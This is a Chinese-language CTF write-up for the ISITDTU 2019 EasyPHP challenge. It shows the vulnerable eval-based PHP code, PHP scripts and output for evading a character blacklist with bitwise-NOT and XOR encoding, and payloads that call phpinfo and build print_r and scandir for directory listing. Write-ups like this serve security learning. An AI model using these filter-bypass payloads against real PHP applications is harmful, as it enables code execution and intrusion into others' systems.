CTF-WEB: php 取反+^绕过waf[ISITDTU 2019 EasyPHP]

ISITDTU 2019 EasyPHP

示例代码

php 复制代码
<?php  
highlight_file(__FILE__);  
  
$_ = @$_GET['_'];  
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )  
    die('rosé will not do it');  
  
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )  
    die('you are so close, omg');  
  
eval($_);  
?>

构造

php 复制代码
(~%8F%97%8F%96%91%99%90)();

如果你不理解这是为什么,执行以下代码

php 复制代码
<?php  
$a =  urlencode(~'phpinfo();');  
echo $a.'|';  
$a = "(~".urldecode('%8F%97%8F%96%91%99%90').")();";  
echo $a;  
eval($a);  
?>

通过尝试所有排列组合寻找能组成目标的^字符

php 复制代码
<?php  
  
$find_string = "phpinfo";  // 目标字符串  
$allowed = "!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~";  // 允许的字符集  
  
// 初始化三个数组,用于存储匹配的 i、p 和 a$i_array = [];  
$p_array = [];  
$a_array = [];  
  
// 遍历目标字符串中的每个字符  
foreach (str_split($find_string) as $a) {  
    // 将目标字符转换为 ASCII 值  
    $a_ord = ord($a);  
  
    // 遍历允许字符集中的每两个字符组合  
    foreach (str_split($allowed) as $i) {  
        foreach (str_split($allowed) as $p) {  
            // 如果异或操作结果等于目标字符的 ASCII 值,则将 i, p, a 存入对应数组  
            if ((ord($i) ^ ord($p)) == $a_ord) {  
                echo $i . " ^ " . $p . " = " . $a . "\n";  
                // 存储到相应的数组中  
                $i_array[] = $i;  
                $p_array[] = $p;  
                $a_array[] = $a;  
            }  
        }  
    }  
}  
  
// 输出存储的结果  
echo "i_array: " . implode(", ", $i_array) . "\n";  
echo "p_array: " . implode(", ", $p_array) . "\n";  
echo "a_array: " . implode(", ", $a_array) . "\n";  
  
// 按顺序取出字符集中的字符,并打印公式  
echo "Printing formulas:\n";  
foreach (str_split($allowed) as $current_char) {  
    for ($index = 0; $index < count($i_array); $index++) {  
        // 获取 i, p 和 a        $i = $i_array[$index];  
        $p = $p_array[$index];  
        $a = $a_array[$index];  
  
        // 如果公式中的 i 或 p 等于当前字符,就打印公式  
        if ($i === $current_char || $p === $current_char) {  
            echo "$i ^ $p = $a\n";  
        }  
    }  
}  
?>

如果你不理解为什么,执行以下代码

php 复制代码
<?php  
echo urlencode(~'!'). '|';  
echo '0x'.bin2hex(urldecode('%DE')).'|';  
echo urlencode(~'Q'). '|';  
echo '0x'.bin2hex(urldecode('%AE')).'|';  
echo ('!' ^ 'Q').'|';  
echo (~urldecode('%DE') ^ ~urldecode('%AE')).'|';  
echo chr(~0x8b);  
?>
// %DE|0xde|%AE|0xae|p|p|t

如果限制了不同字符数,仍然可继续缩减

php 复制代码
<?php  
// 输入字符串  
$result2_str = 'td_cpna.irs'; // 从..  
$result_str = 'd_cpa.is';   // 寻找替代  
  
// 将字符串转换为整数数组,对每个字符应用 ~ 操作  
$result2 = array_map(function($c) { return ~ord($c); }, str_split($result2_str));  
$result = array_map(function($c) { return ~ord($c); }, str_split($result_str));  
  
// 用于存储结果  
$temp = [];  
  
foreach ($result2 as $d) {  
    // 遍历 $result 中三个元素的组合  
    foreach ($result as $a) {  
        foreach ($result as $b) {  
            foreach ($result as $c) {  
                if (($a ^ $b ^ $c) == $d) {  
                    // 如果 a, b, c, d 都相同,跳过  
                    if ($a == $b && $b == $c && $c == $d) {  
                        continue;  
                    } else {  
                        // 打印匹配的值  
                        printf("~(%s ^ %s ^ %s) = %s\n", urlencode(chr($a)), urlencode(chr($b)), urlencode(chr($c)), urlencode(chr($d)));  
                        printf("~(%s ^ %s ^ %s) = %s\n", chr(~$a), chr(~$b), chr(~$c), chr(~$d));  
  
                        // 如果 d 不在 $temp 中,则添加  
                        if (!in_array($d, $temp)) {  
                            $temp[] = $d;  
                        }  
                    }  
                }  
            }  
        }  
    }  
}  
  
// 输出 temp 数组的长度和内容  
echo "总共唯一值数量: " . count($temp) . "\n";  
echo "唯一的 d 值: ";  
print_r($temp);
php 复制代码
~(%9B ^ %8C ^ %9C) = %8B
~(d ^ s ^ c) = t
~(%9C ^ %9B ^ %8C) = %8B
~(c ^ d ^ s) = t
~(%9C ^ %8C ^ %9B) = %8B
~(c ^ s ^ d) = t
~(%8C ^ %9B ^ %9C) = %8B
~(s ^ d ^ c) = t
~(%8C ^ %9C ^ %9B) = %8B
~(s ^ c ^ d) = t
~(%9B ^ %A0 ^ %A0) = %9B
~(d ^ _ ^ _) = d
~(%9B ^ %9C ^ %9C) = %9B
~(d ^ c ^ c) = d
~(%9B ^ %8F ^ %8F) = %9B
php 复制代码
<?php  
echo ~(urldecode('%8F%8D%96%91%8B%A0%8D'));  
echo "\n";  
echo ~(urldecode('%8C%9C%9E%91%9B%96%8D'));  
echo "\n";  
// 异或三次相等  
echo ~(urldecode('%8F%8D%96%91%8B%A0%8D') ^ urldecode('%8F%8D%96%91%8B%A0%8D') ^ urldecode('%8F%8D%96%91%8B%A0%8D'));  
echo "\n";  
echo ~(urldecode('%8C%9C%9E%91%9B%96%8D') ^ urldecode('%8C%9C%9E%91%9B%96%8D') ^ urldecode('%8C%9C%9E%91%9B%96%8D'));  
echo "\n";  
  
// %8d == %9C ^ %8F ^ %9E  
echo ~(urldecode('%8F%9C%96%91%8B%A0%9C') ^ urldecode('%8F%8F%96%91%8B%A0%8F') ^ urldecode('%8F%9E%96%91%8B%A0%9E'));  
echo "\n";  
echo ~(urldecode('%8C%9C%9E%91%9B%96%9C') ^ urldecode('%8C%9C%9E%91%9B%96%8F') ^ urldecode('%8C%9C%9E%91%9B%96%9E'));  
echo "\n";
print_r
scandir
print_r
scandir
print_r
scandir
相关推荐
疯狂驼驼1 小时前
(四)P2Link内置HTTP服务,分享本地文件
网络·网络协议·http·内网穿透·p2link
航月1 小时前
scp命令详解
linux·服务器·网络
Peter_chq2 小时前
【计算机网络】协议定制
linux·c语言·开发语言·网络·c++·后端·网络协议
RrEeSsEeTt3 小时前
制作图片马常用的五种方法总结
web安全·网络安全·渗透测试·文件上传·木马·一句话木马
TJ-周月年5 小时前
24首届数证杯(流量分析部分)
网络安全
始终奔跑在路上5 小时前
安全见闻-泷羽sec课程笔记
笔记·安全·网络安全
hummhumm6 小时前
第 17 章 - Go语言 上下文( Context )
java·服务器·网络·后端·python·sql·golang
帝恩思科技6 小时前
DNS批量解析管理软件有什么用
网络·安全·web安全
补天阁6 小时前
任意文件下载漏洞
网络·安全·web安全